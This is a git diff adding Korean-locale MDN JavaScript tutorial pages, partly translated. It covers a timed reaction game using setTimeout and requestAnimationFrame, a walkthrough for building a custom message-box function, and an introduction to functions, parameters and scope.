    +
  2. +
  3. +

    Inside the empty {{htmlelement("script")}} element on your page, start by adding the following lines of code that define some constants and variables we'll need in the rest of the code:

    + +
    const spinner = document.querySelector('.spinner p');
    +const spinnerContainer = document.querySelector('.spinner');
    +let rotateCount = 0;
    +let startTime = null;
    +let rAF;
    +const btn = document.querySelector('button');
    +const result = document.querySelector('.result');
    + +

    In order, these are:

    + +
      +
    1. A reference to our spinner, so we can animate it.
    2. +
    3. A reference to the {{htmlelement("div")}} element that contains the spinner, used for showing and hiding it.
    4. +
    5. A rotate count — how much we want to show the spinner rotated on each frame of the animation.
    6. +
    7. A null start time — will be populated with a start time when the spinner starts spinning.
    8. +
    9. An uninitialized variable to later store the {{domxref("Window.requestAnimationFrame", "requestAnimationFrame()")}} call that animates the spinner.
    10. +
    11. A reference to the Start button.
    12. +
    13. A reference to the results paragraph.
    14. +
    +
  4. +
  5. +

    Next, below the previous lines of code, add the following function. This simply takes two numerical inputs and returns a random number between the two. We'll need this to generate a random timeout interval later on.

    + +
    function random(min,max) {
    +  var num = Math.floor(Math.random()*(max-min)) + min;
    +  return num;
    +}
    +
  6. +
  7. +

    Next add in the draw() function, which animates the spinner. This is very similar to the version seen in the simple spinner example we looked at earlier:

    + +
    function draw(timestamp) {
    +  if(!startTime) {
    +   startTime = timestamp;
    +  }
    +
    +  rotateCount = (timestamp - startTime) / 3;
    +
    +  if(rotateCount > 359) {
    +    rotateCount %= 360;
    +  }
    +
    +  spinner.style.transform = 'rotate(' + rotateCount + 'deg)';
    +  rAF = requestAnimationFrame(draw);
    +}
    +
  8. +
  9. +

    Now it is time to set up the initial state of the app when the page first loads. Add the following two lines, which simply hide the results paragraph and spinner container using display: none;.

    + +
    result.style.display = 'none';
    +spinnerContainer.style.display = 'none';
    +
  10. +
  11. +

    We'll also define a reset() function, which sets the app back to the original state required to start the game again after it has been played. Add the following at the bottom of your code:

    + +
    function reset() {
    +  btn.style.display = 'block';
    +  result.textContent = '';
    +  result.style.display = 'none';
    +}
    +
  12. +
  13. +

    OK, enough preparation.  Let's make the game playable! Add the following block to your code. The start() function calls draw() to start the spinner spinning and display it in the UI, hides the Start button so we can't mess up the game by starting it multiple times concurrently, and runs a setTimeout() call that runs a setEndgame() function after a random interval between 5 and 10 seconds has passed. We also add an event listener to our button to run the start() function when it is clicked.

    + +
    btn.addEventListener('click', start);
    +
    +function start() {
    +  draw();
    +  spinnerContainer.style.display = 'block';
    +  btn.style.display = 'none';
    +  setTimeout(setEndgame, random(5000,10000));
    +}
    + +
    +

    Note: You'll see that in this example we are calling setTimeout() without storing the return value (so not let myTimeout = setTimeout(functionName, interval)). This works and is fine, as long as you don't need to clear your interval/timeout at any point. If you do, you'll need to save the returned identifier.

    +
    + +

    The net result of the previous code is that when the Start button is pressed, the spinner is shown and the players are made to wait a random amount of time before they are then asked to press their button. This last part is handled by the setEndgame() function, which we should define next.

    +
  14. +
  15. +

    So add the following function to your code next:

    + +
    function setEndgame() {
    +  cancelAnimationFrame(rAF);
    +  spinnerContainer.style.display = 'none';
    +  result.style.display = 'block';
    +  result.textContent = 'PLAYERS GO!!';
    +
    +  document.addEventListener('keydown', keyHandler);
    +
    +  function keyHandler(e) {
    +    console.log(e.key);
    +    if(e.key === 'a') {
    +      result.textContent = 'Player 1 won!!';
    +    } else if(e.key === 'l') {
    +      result.textContent = 'Player 2 won!!';
    +    }
    +
    +    document.removeEventListener('keydown', keyHandler);
    +    setTimeout(reset, 5000);
    +  };
    +}
    + +

    Stepping through this:

    + +
      +
    1. First we cancel the spinner animation with {{domxref("window.cancelAnimationFrame", "cancelAnimationFrame()")}} (it is always good to clean up unneeded processes), and hide the spinner container.
    2. +
    3. Next we display the results paragraph and set its text content to "PLAYERS GO!!" to signal to the players that they can now press their button to win.
    4. +
    5. We then attach a keydown event listener to our document — when any button is pressed down, the keyHandler() function is run.
    6. +
    7. Inside keyHandler(), we include the event object as a parameter (represented by e) — its {{domxref("KeyboardEvent.key", "key")}} property contains the key that was just pressed, and we can use this to respond to specific key presses with specific actions.
    8. +
    9. We first log e.key to the console, which is a useful way of finding out the key value of different keys you are pressing.
    10. +
    11. When e.key is "a", we display a message to say that Player 1 won, and when e.key is "l", we display a message to say Player 2 won. Note that this will only work with lowercase a and l — if an uppercase A or L is submitted (the key plus Shift), it is counted as a different key.
    12. +
    13. Regardless of which one of the player control keys was pressed, we remove the keydown event listener using {{domxref("EventTarget.removeEventListener", "removeEventListener()")}} so that once the winning press has happened, no more keyboard input is possible to mess up the final game result. We also use setTimeout() to call reset() after 5 seconds — as we explained earlier, this function resets the game back to its original state so that a new game can be started.
    14. +
    +
  16. +
+ +

That's it, you're all done.

+ +
+

Note: If you get stuck, check out our version of the reaction game (see the source code also).

+
+ +

Conclusion

+ +

So that's it — all the essentials of async loops and intervals covered in one article. You'll find these methods useful in a lot of situations, but take care not to overuse them — since these still run on the main thread, heavy and intensive callbacks (especially those that manipulate the DOM) can really slow down a page if you're not careful.

+ +

{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous")}}

+ +

In this module

+ + diff --git a/files/ko/learn/javascript/building_blocks/build_your_own_function/index.html b/files/ko/learn/javascript/building_blocks/build_your_own_function/index.html new file mode 100644 index 0000000000..e700eb083d --- /dev/null +++ b/files/ko/learn/javascript/building_blocks/build_your_own_function/index.html @@ -0,0 +1,251 @@ +--- +title: Build your own function +slug: Learn/JavaScript/Building_blocks/Build_your_own_function +translation_of: Learn/JavaScript/Building_blocks/Build_your_own_function +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Functions","Learn/JavaScript/Building_blocks/Return_values", "Learn/JavaScript/Building_blocks")}}
+ +

이번 장에선 앞의 글에서 배운 function이론을 사용하여 사용자 정의 함수를 만들어 봅니다. 사용자 정의 함수 연습과 더불어, 함수를 다루는 몇 가지 유용한 사항들도 설명을 하겠습니다. 

+ + + + + + + + + + + + +
알아야 할 것:기본적인 컴퓨터 사용 능력, HTML과 CSS에 대한 기본적인 이해, 자바스크립트 첫걸음, 함수 - 재사용 가능한 블록 코드
목표:사용자 정의 함수를 만드는 방법에 대한 몇가지 예제 제공, 그와 관련된 여러가지 유용한 세부 사항 설명. 
+ +

Active learning: Let's build a function

+ +

여기서 만들 사용자 정의 함수는 displayMessage()라고 명명하겠습니다. 이 함수는 내장함수 alert() 을 사용하여 메시지를 표시하는 대신 다른 방법으로 페이지에 메시지 박스를 만듭니다. 이전에도 봐온 기능이지만 다시한번 연습해보자는 의미로 브라우저의 JavaScript 콘솔에 아래처럼 입력하세요 :

+ +
alert('This is a message');
+ +

alert 함수는 하나의 인수만 사용합니다. — 전달받는 인수는 브라우저의 alert박스에 표시됩니다. 인수를 다른 문자로 교체하여 시험해보세요.

+ +

alert 함수는 제한적 입니다. : 원하는 메시지를 출력할 순 있지만 글자 색, 아이콘 등 다른 요소는 첨부할 수 없습니다. 아래서 다른 방법을 사용하여 재미있는 무언가를 만드는 방법을 소개하겠습니다.

+ +
+

Note: 이 예제는 모든 모던 브라우저에서 잘 작동합니다. 하지만 조금 오래된 브라우저는 스타일이 이상하게 적용될 수 있습니다. 이번 예제를 원활하게 즐기려면 Firefox, Opera, Chrome 브라우저를 사용해주세요

+
+ +

The basic function

+ +

본격적으로 시작하기 앞서, 기본적인 함수를 만들어봅시다..

+ +
+

Note: 함수 명명규칙은 변수 명명규칙과 동일하게 사용하는것이 좋습니다. 명명규칙이 동일해서 헷갈리지 않습니다.  — 함수는 이름 뒤에 ()괄호가 함께 쓰이지만 변수는 그렇지 않습니다.

+
+ +
    +
  1. function-start.html 파일을 연습하고있는 컴퓨터에 복사하여 저장합니다. HTML 구조는 매우 간단합니다. — body 태그에는 한 개의 버튼이 있습니다. 그리고 style 태그에 메시지 박스를 위한 CSS 블럭이 있습니다. 그리고 비어있는 {{htmlelement("script")}} 엘리먼트에 연습할 자바스크립트 코드를 앞으로 쓰겠씁니다..
  2. +
  3. 다음으로 아래의 코드를 <script> 엘리먼트에 써봅시다. : +
    function displayMessage() {
    +
    +}
    + function이라는 키워드로 블럭 작성을 시작했습니다. 이 의미는 방금 우리가 함수를 정의했다는 뜻 입니다. 그리고 뒤에는 만들고자 하는 이름을 정의했고, 괄호에 이어 중괄호를 넣었습니다. 함수에 전달하고자 하는 인수는 괄호()안에 작성합니다. 그리고 우리가 만들고자 하는 로직은 중괄호 안에 작성합니다..
  4. +
  5. 마지막으로 아래의 코드를 중괄호 안에 작성합니다.: +
    const html = document.querySelector('html');
    +
    +const panel = document.createElement('div');
    +panel.setAttribute('class', 'msgBox');
    +html.appendChild(panel);
    +
    +const msg = document.createElement('p');
    +msg.textContent = 'This is a message box';
    +panel.appendChild(msg);
    +
    +const closeBtn = document.createElement('button');
    +closeBtn.textContent = 'x';
    +panel.appendChild(closeBtn);
    +
    +closeBtn.onclick = function() {
    +  panel.parentNode.removeChild(panel);
    +}
    +
  6. +
+ +

코드가 꽤 긴 편이니 조금씩 설명을 이어가겠습니다..

+ +

첫 번째 줄에서 {{domxref("document.querySelector()")}} 라는 DOM API를 사용했습니다. 이 API는 {{htmlelement("html")}} 엘리먼트를 선택하여 html이라는 변수에 저장합니다. 따라서 아래와 같은 작업을 수행할 수 있습니다. :

+ +
const html = document.querySelector('html');
+ +

다음 줄에선 마찬가지로 DOM API인 {{domxref("document.createElement()")}} 을 사용하여 {{htmlelement("div")}} 엘리먼트를 생성한 후 panel변수에 저장합니다. 이 엘리먼트는 메시지 상자 바깥쪽 컨테이너가 될 것 입니다.

+ +

그리고 또 다른 DOM API인 {{domxref("Element.setAttribute()")}} 을 사용하여 class 속성을 만들고 그 이름을 msgBox로 지정했습니다. 이 작업으로 스타일을 좀 더 쉽게 적용할 수 있습니다. — HTML 파일의 CSS 블럭을 살펴보면 .msgBox 클래스 셀렉터를 사용하여 메시지 박스와 그 내용을 스타일링할 수 있음을 알 수 있습니다.

+ +

마지막으로, {{domxref("Node.appendChild()")}} DOM 함수를 사용하여 html 변수 안의 엘리먼트에 panel 변수에 저장된 <div>엘리먼트를 자식 엘리먼트로 삽입했습니다. 변수 선언만으로는 페이지에 표시할 수 없습니다. 반드시 아래처럼 작성하여 엘리먼트가 어디에 표시되는지 명시할 필요가 있습니다. 

+ +
const panel = document.createElement('div');
+panel.setAttribute('class', 'msgBox');
+html.appendChild(panel);
+ +

다음 두 섹션은 위에서 봤던것과 동일한 createElement() 그리고 appendChild() 함수를 사용합니다. —  {{htmlelement("p")}} 그리고 {{htmlelement("button")}} — 만들어  panel의 <div>태그의 자식 엘리먼트로 넣습니다. 우리는 {{domxref("Node.textContent")}} 속성을 사용하여 버튼에 x 라는 글자를 새겨넣습니다. 이 버튼은 사용자가 메시지 박스를 닫기를 원할 때 클릭/활성화 해야 하는 버튼입니다..

+ +
const msg = document.createElement('p');
+msg.textContent = 'This is a message box';
+panel.appendChild(msg);
+
+const closeBtn = document.createElement('button');
+closeBtn.textContent = 'x';
+panel.appendChild(closeBtn);
+ +

마지막으로 {{domxref("GlobalEventHandlers.onclick")}} 이벤트 핸들러를 사용하여 사용자가 x버튼을 클릭하면 메시지상자를 닫을 수 있게 만듭니다. 

+ +

간단히 말하면 onclick 핸들러는 버튼 (또는 실제 페이지의 다른 엘리먼트) 에서 사용할 수 있으며 버튼이 클릭됐을때 실행될 코드를 작성할 수 있습니다. 더 자세한 기능은 events article을 참조하세요. 이제 onclick 핸들러를 익명 함수와 동일하게 만들고, 그 안에 버튼이 클릭됐을 때 실행될 코드를 작성합니다. 함수 안쪽에서 {{domxref("Node.removeChild()")}} DOM API 함수를 사용하여 HTML 엘리먼트를 삭제하도록 명령합니다. — 이 경우 panel 변수의 <div>입니다.

+ +
closeBtn.onclick = function() {
+  panel.parentNode.removeChild(panel);
+}
+ +

기본적으로 전체 코드 블럭은 아래처럼 보이는 HTML 블록을 생성하고 페이지에 나타내줍니다. :

+ +
<div class="msgBox">
+  <p>This is a message box</p>
+  <button>x</button>
+</div>
+ +

많은 코드를 살펴봤습니다. — 예제에 포함된 CSS코드를 포함한 모든 코드를 지금 당장 이해할 필요는 없습니다. 이 예제에서 중점적으로 다루고자 하는 부분은 함수의 구조와 사용 방법 이었습니다. CSS 코드는 학습자의 흥미를 유도하기 위해 재미있는 것을 보여주고자 만들었습니다.

+ +

Calling the function

+ +

You've now got your function definition written into your <script> element just fine, but it will do nothing as it stands.

+ +
    +
  1. Try including the following line below your function to call it: +
    displayMessage();
    + This line invokes the function, making it run immediately. When you save your code and reload it in the browser, you'll see the little message box appear immediately, only once. We are only calling it once, after all.
  2. +
  3. +

    Now open your browser developer tools on the example page, go to the JavaScript console and type the line again there, you'll see it appear again! So this is fun — we now have a reusable function that we can call any time we like.

    + +

    But we probably want it to appear in response to user and system actions. In a real application, such a message box would probably be called in response to new data being available, or an error having occurred, or the user trying to delete their profile ("are you sure about this?"), or the user adding a new contact and the operation completing successfully, etc.

    + +

    In this demo, we'll get the message box to appear when the user clicks the button.

    +
  4. +
  5. Delete the previous line you added.
  6. +
  7. Next, we'll select the button and store a reference to it in a constant. Add the following line to your code, above the function definition: +
    const btn = document.querySelector('button');
    +
  8. +
  9. Finally, add the following line below the previous one: +
    btn.onclick = displayMessage;
    + In a similar way to our closeBtn.onclick... line inside the function, here we are calling some code in response to a button being clicked. But in this case, instead of calling an anonymous function containing some code, we are calling our function name directly.
  10. +
  11. Try saving and refreshing the page — now you should see the message box appear when you click the button.
  12. +
+ +

You might be wondering why we haven't included the parentheses after the function name. This is because we don't want to call the function immediately — only after the button has been clicked. If you try changing the line to

+ +
btn.onclick = displayMessage();
+ +

and saving and reloading, you'll see that the message box appears without the button being clicked! The parentheses in this context are sometimes called the "function invocation operator". You only use them when you want to run the function immediately in the current scope. In the same respect, the code inside the anonymous function is not run immediately, as it is inside the function scope.

+ +

If you tried the last experiment, make sure to undo the last change before carrying on.

+ +

Improving the function with parameters

+ +

As it stands, the function is still not very useful — we don't want to just show the same default message every time. Let's improve our function by adding some parameters, allowing us to call it with some different options.

+ +
    +
  1. First of all, update the first line of the function: +
    function displayMessage() {
    + +
    to this:
    + +
    function displayMessage(msgText, msgType) {
    + Now when we call the function, we can provide two variable values inside the parentheses to specify the message to display in the message box, and the type of message it is.
  2. +
  3. To make use of the first parameter, update the following line inside your function: +
    msg.textContent = 'This is a message box';
    + +
    to
    + +
    msg.textContent = msgText;
    +
  4. +
  5. Last but not least, you now need to update your function call to include some updated message text. Change the following line: +
    btn.onclick = displayMessage;
    + +
    to this block:
    + +
    btn.onclick = function() {
    +  displayMessage('Woo, this is a different message!');
    +};
    + If we want to specify parameters inside parentheses for the function we are calling, then we can't call it directly — we need to put it inside an anonymous function so that it isn't in the immediate scope and therefore isn't called immediately. Now it will not be called until the button is clicked.
  6. +
  7. Reload and try the code again and you'll see that it still works just fine, except that now you can also vary the message inside the parameter to get different messages displayed in the box!
  8. +
+ +

A more complex parameter

+ +

On to the next parameter. This one is going to involve slightly more work — we are going to set it so that depending on what the msgType parameter is set to, the function will display a different icon and a different background color.

+ +
    +
  1. First of all, download the icons needed for this exercise (warning and chat) from GitHub. Save them in a new folder called icons in the same location as your HTML file. + +
    Note: The warning and chat icons were originally found on iconfinder.com, and designed by Nazarrudin Ansyari — Thanks! (The actual icon pages were since moved or removed.)
    +
  2. +
  3. Next, find the CSS inside your HTML file. We'll make a few changes to make way for the icons. First, update the .msgBox width from: +
    width: 200px;
    + +
    to
    + +
    width: 242px;
    +
  4. +
  5. Next, add the following lines inside the .msgBox p { ... } rule: +
    padding-left: 82px;
    +background-position: 25px center;
    +background-repeat: no-repeat;
    +
  6. +
  7. Now we need to add code to our displayMessage() function to handle displaying the icons. Add the following block just above the closing curly brace (}) of your function: +
    if (msgType === 'warning') {
    +  msg.style.backgroundImage = 'url(icons/warning.png)';
    +  panel.style.backgroundColor = 'red';
    +} else if (msgType === 'chat') {
    +  msg.style.backgroundImage = 'url(icons/chat.png)';
    +  panel.style.backgroundColor = 'aqua';
    +} else {
    +  msg.style.paddingLeft = '20px';
    +}
    + Here, if the msgType parameter is set as 'warning', the warning icon is displayed and the panel's background color is set to red. If it is set to 'chat', the chat icon is displayed and the panel's background color is set to aqua blue. If the msgType parameter is not set at all (or to something different), then the else { ... } part of the code comes into play, and the paragraph is simply given default padding and no icon, with no background panel color set either. This provides a default state if no msgType parameter is provided, meaning that it is an optional parameter!
  8. +
  9. Let's test out our updated function, try updating the displayMessage() call from this: +
    displayMessage('Woo, this is a different message!');
    + +
    to one of these:
    + +
    displayMessage('Your inbox is almost full — delete some mails', 'warning');
    +displayMessage('Brian: Hi there, how are you today?','chat');
    + You can see how useful our (now not so) little function is becoming.
  10. +
+ +
+

Note: If you have trouble getting the example to work, feel free to check your code against the finished version on GitHub (see it running live also), or ask us for help.

+
+ +

Test your skills!

+ +

You've reached the end of this article, but can you remember the most important information? You can find some further tests to verify that you've retained this information before you move on — see Test your skills: Functions. These tests require skills that are covered in the next article, so you might want to read those first before trying it.

+ +

Conclusion

+ +

Congratulations on reaching the end! This article took you through the entire process of building up a practical custom function, which with a bit more work could be transplanted into a real project. In the next article we'll wrap up functions by explaining another essential related concept — return values.

+ + + +

{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Functions","Learn/JavaScript/Building_blocks/Return_values", "Learn/JavaScript/Building_blocks")}}

+ +

In this module

+ + diff --git a/files/ko/learn/javascript/building_blocks/functions/index.html b/files/ko/learn/javascript/building_blocks/functions/index.html new file mode 100644 index 0000000000..4cc3420afe --- /dev/null +++ b/files/ko/learn/javascript/building_blocks/functions/index.html @@ -0,0 +1,394 @@ +--- +title: 함수 — 재사용 가능한 코드 블록 +slug: Learn/JavaScript/Building_blocks/Functions +translation_of: Learn/JavaScript/Building_blocks/Functions +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Looping_code","Learn/JavaScript/Building_blocks/Build_your_own_function", "Learn/JavaScript/Building_blocks")}}
+ +

코딩에 있어서 또 하나의 중요한 개념은 바로 '함수'입니다. 함수란, 한 가지의 일을 수행하는 코드가 블럭으로 묶여있는 것을 말하며, 간단한 명령만으로 동일한 코드를 필요한 곳마다 반복해서 사용하지 않을 수 있게 만들어 줍니다. 이번 장에서는 함수에 대한 기본 문법과 파라미터(parameter) 및 범위(scope), 그리고 호출 방법에 대해 설명합니다.

+ + + + + + + + + + + + +
필요 사항:기본적인 컴퓨터 활용 능력, HTML과 CSS의 기본적인 이해, 자바스크립트 첫 단계.
목표:JavaScript 함수의 기본 개념을 이해합니다.
+ +

함수는 어디에서 찾을 수 있나요?

+ +

자바스크립트 어디서든 함수를 찾을 수 있습니다. 사실, 우리는 지금까지 수업에서 함수를 계속 사용해왔습니다; 함수에 대해서 그렇게 말해오지 않았을 뿐이죠. 그러나 이제 함수에 대해서 분명하게 말하고, 실제로 문법을 탐험할 때가 되었습니다. 

+ +

 for loop, while 과 do...while loop, 또는 if...else문과 같은 일반적인 내장 언어 구조를 사용하지 않고 — () —같은 괄호 쌍을 사용했다면 당신은 함수를 사용하고 있던 겁니다

+ +

브라우저 내장 함수

+ +

우리는 이 코스에서 많은 브라우저 빌트인 함수를 사용해왔습니다.
+ 예를 들어, 우리가 매번 텍스트 string을 조작할 때마다:

+ +
var myText = 'I am a string';
+var newString = myText.replace('string', 'sausage');
+console.log(newString);
+// the replace() string function takes a string,
+// replaces one substring with another, and returns
+// a new string with the replacement made
+ +

또는 우리가 배열을 조작할 때마다:

+ +
var myArray = ['I', 'love', 'chocolate', 'frogs'];
+var madeAString = myArray.join(' ');
+console.log(madeAString);
+// the join() function takes an array, joins
+// all the array items together into a single
+// string, and returns this new string
+ +

또는 우리가 무작위의 숫자를 생성할 때마다:

+ +
var myNumber = Math.random();
+// the random() function generates a random
+// number between 0 and 1, and returns that
+// number
+ +

...우리는 함수를 사용하고 있었어요!

+ +
+

Note: Feel free to enter these lines into your browser's JavaScript console to re-familiarize yourself with their functionality, if needed.

+
+ +

JavaScript 언어는 당신 스스로 코드 전체를 적을 필요 없이, 유용한 것들을 할 수 있게 해주는 많은 내장 함수를 가지고 있습니다.  사실, 브라우저 내장 함수를 호출("함수를 실행하다"는 말을 멋있게 "호출하다"라고 하기도 합니다)할 때 호출하는 일부 코드는 JavaScript로 작성할 수 없었습니다 —  이러한 함수 중 상당수는 백그라운드 브라우저 코드의 일부를 호출하고 있으며, 이는 JavaScript와 같은 웹 언어가 아니라 C++와 같은 저수준 시스템 언어로 작성됩니다.

+ +

명심하세요. 몇몇 브라우저 내장함수는 JavaScript core가 아닌 브라우저 API의 일부입니다. 브라우저 API는 기본 언어에서 더 많은 기능을 쓸 수 있게 만들어 졌습니다. (앞선 코스에서 더 자세한 설명을 볼 수 있습니다). 브라우저 API를 다루는 법은 나중에 더 살펴보도록 하겠습니다.

+ +

함수 대 메소드

+ +

우리가 다음으로 넘어가기 전에, 확실하게 짚고 가야할 게 있습니다. — 기술적으로, Built-in browser functions은 functions이 아닙니다. 그들은 methods죠. 이 문장이 약간 이상하고 혼란스럽게 들릴 수 있겠지만, 걱정마세요. — function과 method 이 두 단어는 광범위하게 교체가능하답니다. 최소한 그들의 용도적 측면과 지금 당신의 배움 단계에서는요.
+
+ 구별되는 점은 methods는 objects안에 정의된 functions이라는 겁니다. Built-in browser functions(methods)와 변수(properties라 불리는 것들)는 코드를 더욱 효율적이고 다루기 쉽게하기 위해 구조화된 objects안에 저장되어 있습니다.

+ +

당신은 아직 구조화된 JavaScript objects의 내부 동작에 대해서까지는 배우지 않아도 괜찮습니다. — 당신은 우리가 가르쳐 줄 objects의 내부 동작에 관한 모든 것인 모듈과, 어떻게 당신만의 모듈을 창조할 수 있는지에 대해 기다릴 수 있습니다. 현재로서는, 우리는 단지 어떤 혼동도 가능한 method 대 function(당신이 웹에서 이용가능한 관련 자원들을 볼때, 두 가지 용어를 만날 가능 성이 충분히 있는)에 대해 정리하고 싶을 뿐입니다. 

+ +

사용자 정의 함수

+ +

또한 지금까지 많은 사용자 정의 함수(브라우저가 아닌 코드에 정의된 함수)를 봤습니다. 바로 뒤에 괄호가 있는 사용자가 정의한 이름을 볼 때마다, 바로 사용자 정의 함수를 사용하고 있었던 겁니다. loops article의 random-canvas-circles.html 예제(전체  소스 코드 참조)에는 다음과 같은 draw() 사용자 정의 함수가 포함되어 있습니다:

+ +
function draw() {
+  ctx.clearRect(0,0,WIDTH,HEIGHT);
+  for (var i = 0; i < 100; i++) {
+    ctx.beginPath();
+    ctx.fillStyle = 'rgba(255,0,0,0.5)';
+    ctx.arc(random(WIDTH), random(HEIGHT), random(50), 0, 2 * Math.PI);
+    ctx.fill();
+  }
+}
+ +

이 함수는 {{htmlelement("canvas")}} 요소 안에 100개의 임의의 원을 그립니다. 원할 때마다 아래 코드로 함수를 호출할 수 있습니다:

+ +
draw();
+ +

모든 코드를 또 작성하지 않고 말이죠. 그리고 함수는 당신이 원하는 코드를 포함할 수 있습니다. 심지어 함수 내의 다른 함수를 불러올 수도 있구요. 위의 예시는 아래와 같이 정의된 코드를 random() 을 통해 세번이나 호출하고 있죠.

+ +
function random(number) {
+  return Math.floor(Math.random()*number);
+}
+ +

Math.random() 라는 내장함수는 오직 0과 1사이의 소수를 생성해내기 때문에 우리는 위의 함수가 필요했습니다. 우리는 0과 특정 수 사이의 무작위한 정수를 원했거든요.

+ +

함수 호출

+ +

지금까지 꽤 잘 따라온 거 같은데 혹시 모르니깐 말해 주자면... 정의된 함수를 작동시키기 위해선 함수를 '호출' 해야 돼요. 함수 호출은 함수의 이름을 괄호와 함께 코드 내에 적어 주면 됩니다.

+ +
function myFunction() {
+  alert('hello');
+}
+
+myFunction()
+// calls the function once
+ +

익명 함수

+ +

당신은 조금 다른 방식으로 정의되거나 호출되는 함수를 본 적 있을 거예요. 이제까지 우리는 이런 식으로 함수를 생성했죠: 

+ +
function myFunction() {
+  alert('hello');
+}
+ +

하지만 이름 없는 함수 또한 만들 수 있답니다.

+ +
function() {
+  alert('hello');
+}
+ +

이건 익명 함수라고 불려요. 이름이 없다는 뜻이죠! 익명함수는 스스로 뭘 어쩌지 못 해요. 익명함수는 주로 이벤트 핸들러와 사용됩니다. 아래의 예시는 함수 내의 코드가 버튼을 클릭함에 따라 작동한다는 걸 보여주죠. 

+ +
var myButton = document.querySelector('button');
+
+myButton.onclick = function() {
+  alert('hello');
+}
+ +

위의 예시는 페이지 상의 클릭을 위해 {{htmlelement("button")}} 요소를 필요로 합니다. 당신은 코스를 거치며 이런 구조의 코드를 꽤 봐왔을 거예요. 다음 예시에서 더 많은 걸 배워 보자구요.

+ +

당신은 변수 속에 익명함수를 넣을 수 있어요. 예시입니다.

+ +
var myGreeting = function() {
+  alert('hello');
+}
+ +

이 함수는 이런 식으로 호출되죠:

+ +
myGreeting();
+ +

이 방법은 효과적으로 함수에 이름을 부여하고 있어요. 당신은 다중 변수들에 함수를 할당할 수도 있죠. 예를 들면,

+ +
var anotherGreeting = function() {
+  alert('hello');
+}
+ +

이제 함수는 이런 식으로도 호출이 가능해졌구요.

+ +
myGreeting();
+anotherGreeting();
+ +

하지만 위의 방식은 사람 헷갈리게 만들어요. 그니깐 쓰진 맙시다! 함수를 만들 땐 아래의 형태를 고수하는 게 나아요.

+ +
function myGreeting() {
+  alert('hello');
+}
+ +

익명함수는 이벤트 발생에 따른 수많은 코드를 작동시키기 위해 주로 쓰이게 돼요. 이벤트 핸들러를 사용한 버튼의 클릭과 같은 상황에 말이죠. 자, 그 코드는 아래와 같이 생겼어요.

+ +
myButton.onclick = function() {
+  alert('hello');
+  // 내가 원하는 만큼 얼마든지
+  // 여기에 코드를 작성하면 됩니다!
+}
+ +

매개변수

+ +

몇몇 함수는 호출을 위해 매개변수를 필요로 하는 경우가 있습니다. 이런 함수가 제대로 작동하기 위해선 함수 괄호 안에 값들을 넣어주어야 해요.

+ +
+

Note: 매개변수는 종종 arguments, properties, 심지어 attributes 라고도 불려요.

+
+ +

예를 들어, 내장 함수인 Math.random()은 어떤 매개변수도 필요로 하지 않습니다. 이 함수는 호출되면 늘 0과 1사이의 무작위 수를 반환해 주죠. 

+ +
var myNumber = Math.random();
+ +

하지만 내장 함수 replace()는 두 개의 매개변수를 필요로 합니다. 대체될 문자와 대체할 문자죠. 

+ +
var myText = 'I am a string';
+var newString = myText.replace('string', 'sausage');
+ +
+

Note: 여러 개의 매개변수는 콤마에 의해 구분되어 집니다. 

+
+ +

매개변수는 이따금 선택 사항이기도 합니다. 당신이 명시해 줄 필요가 없다는 뜻이죠. 그런 경우, 일반적으로 함수는 디폴트 기능을 수행합니다. 예를 들어, 배열과 관련된 join() 함수의 매개변수가 그렇죠.

+ +
var myArray = ['I', 'love', 'chocolate', 'frogs'];
+var madeAString = myArray.join(' ');
+// returns 'I love chocolate frogs'
+var madeAString = myArray.join();
+// returns 'I,love,chocolate,frogs'
+ +

만일 결합의 기준이 될 매개변수가 없다면, 콤마가 매개변수로서 사용됩니다.

+ +

함수 스코프와  충돌

+ +

우리 '스코프(scope)'에 대해 얘기해 볼까요? '스코프'는 함수와 관련된 매우 중요한 개념입니다.  함수를 생성할 때, 변수 및 함수 내 정의된 코드들은 그들만의 '스코프' 안에 자리하게 됩니다. 그 말인 즉슨, 다른 함수의 내부나 외부 함수의 코드가 접근할 수 없는 그들만의 구획에 갇혀 있다는 뜻입니다. 

+ +

함수 바깥에 선언된 가장 상위 레벨의 스코프를 '전역 스코프(global scope)' 라고 부릅니다.전역 스코프 내에 정의된 값들은 어느 코드든 접근이 가능합니다.

+ +

자바스크립트는 다양한 이유로 인해 이와 같은 기능을 제공하지만, 주로는 안전성과 구조 때문입니다. 어떤 때에는 당신의 변수가 어느 코드나 접근 가능한 변수가 되는 걸 원치 않을 겁니다. 당신이 어딘가에서 불러온 외부 스크립트가 문제를 일으킬 수도 있으니깐요. 외부 스크립트의 코드와 같은 변수 이름을 사용하면 충돌이 일어나게 돼요. 이건 악의적일 수도 있고, 아님 뭐 단순한 우연이겠죠.

+ +

예를 들어 , 당신에게 두 개의 외부 자바스크립트 파일을 호출하는 HTML이 있다고 쳐요. 그 둘은 같은 이름으로 정의된 변수와 함수를 사용하고 있습니다.

+ +
<!-- Excerpt from my HTML -->
+<script src="first.js"></script>
+<script src="second.js"></script>
+<script>
+  greeting();
+</script>
+ +
// first.js
+var name = 'Chris';
+function greeting() {
+  alert('Hello ' + name + ': welcome to our company.');
+}
+ +
// second.js
+var name = 'Zaptec';
+function greeting() {
+  alert('Our company is called ' + name + '.');
+}
+ +

두 함수 모두 greeting()라고 불리지만,  당신은 second.js  파일의 greeting() 함수에만 접근 가능합니다. HTML 소스 코드 상 후자이므로, 그 파일의 변수와 기능이  first.js것을 덮어쓰는 거죠.

+ +
+

Note: 예제를 여기서 볼 수 있습니다. running live on GitHub (source code 또한 볼 수 있습니다.).

+
+ +

함수의 일부를 코드 안에 가두는 것은 이러한 문제를 피할 수 있고, 가장 좋은 방법이라 여겨집니다.

+ +

동물원 같네요. 사자, 얼룩말, 호랑이, 그리고 펭귄은 자신들만의 울타리 안에 있으며, 그들의 울타리 내부에 있는 것만 건드릴 수 있어요. 함수 스코프처럼 말이죠. 만약 동물들이 다른 울타리 안으로 들어갈 수 있었다면, 문제가 생겼을 겁니다. 좋게는 다른 동물이 낯선 거주 환경에서 불편함을 느끼는 정도겠죠. 사자나 호랑이가 펭귄의 물기 많고 추운 영역 안에서 끔찍함을 느끼듯이요. 하지만 최악의 상황엔 사자나 호랑이가 펭귄을 먹어 치울 지도 모르죠!

+ +

+ +

